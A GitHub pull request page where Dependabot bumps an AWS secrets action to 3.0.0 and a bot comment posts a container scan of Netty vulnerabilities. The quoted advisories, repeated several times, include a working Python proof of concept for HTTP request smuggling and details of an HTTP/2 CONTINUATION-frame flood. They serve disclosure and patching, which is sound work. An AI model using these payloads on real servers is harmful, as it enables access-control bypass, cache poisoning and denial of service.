Skip to content

chore(deps): bump aws-actions/aws-secretsmanager-get-secrets from 2.0.10 to 3.0.0#529

Closed
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/aws-actions/aws-secretsmanager-get-secrets-3.0.0
Closed

chore(deps): bump aws-actions/aws-secretsmanager-get-secrets from 2.0.10 to 3.0.0#529
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/aws-actions/aws-secretsmanager-get-secrets-3.0.0

Conversation

@dependabot
Copy link
Copy Markdown
Contributor

@dependabot dependabot Bot commented on behalf of github Apr 1, 2026

Bumps aws-actions/aws-secretsmanager-get-secrets from 2.0.10 to 3.0.0.

Release notes

Sourced from aws-actions/aws-secretsmanager-get-secrets's releases.

v3.0.0

What's Changed

New Contributors

Full Changelog: aws-actions/aws-secretsmanager-get-secrets@v2...v3.0.0

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

Bumps [aws-actions/aws-secretsmanager-get-secrets](https://github.com/aws-actions/aws-secretsmanager-get-secrets) from 2.0.10 to 3.0.0.
- [Release notes](https://github.com/aws-actions/aws-secretsmanager-get-secrets/releases)
- [Commits](aws-actions/aws-secretsmanager-get-secrets@a9a7eb4...3a411b6)

---
updated-dependencies:
- dependency-name: aws-actions/aws-secretsmanager-get-secrets
  dependency-version: 3.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies github_actions Pull requests that update GitHub Actions code labels Apr 1, 2026
@github-actions github-actions Bot added the TypeCI label Apr 1, 2026
@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented Apr 1, 2026

🔍 Vulnerabilities of liquibase/liquibase-secure:3ed351a3de1cb16bddfb4db266223f80568871a0

📦 Image Reference liquibase/liquibase-secure:3ed351a3de1cb16bddfb4db266223f80568871a0
digestsha256:19028e63ac381ce06f4ca534626f9fdf83b7acfad4e0628b7aa78abc909ef371
vulnerabilitiescritical: 0 high: 6 medium: 0 low: 0
platformlinux/amd64
size870 MB
packages478
📦 Base Image eclipse-temurin:21-jre
also known as
  • 21-jre-noble
  • 21.0.10_7-jre
  • 21.0.10_7-jre-noble
  • a26beda5d3a48883a6c629ec04b95a1e91c223d1c8bbffef792214d0ea11ca36
digestsha256:be2ed5af8104188957a9f8ba1e440cc357f4d0f6f5a5628e84c9b9c5843214e6
vulnerabilitiescritical: 0 high: 0 medium: 4 low: 2
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.2.9.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.2.9.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range>=4.2.0.Alpha1
<4.2.10.Final
Fixed version4.2.10.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.030%
EPSS Percentile9th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.1.129.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.129.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.030%
EPSS Percentile9th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.2.9.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.2.9.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range>=4.2.0.Alpha1
<4.2.10.Final
Fixed version4.2.11.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.062%
EPSS Percentile19th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.130.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.062%
EPSS Percentile19th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.130.Final

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.030%
EPSS Percentile9th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.129.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.129.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.062%
EPSS Percentile19th percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

@dependabot @github
Copy link
Copy Markdown
Contributor Author

dependabot Bot commented on behalf of github Apr 6, 2026

Superseded by #533.

@dependabot dependabot Bot closed this Apr 6, 2026
@dependabot dependabot Bot deleted the dependabot/github_actions/aws-actions/aws-secretsmanager-get-secrets-3.0.0 branch April 6, 2026 10:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies github_actions Pull requests that update GitHub Actions code TypeCI

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants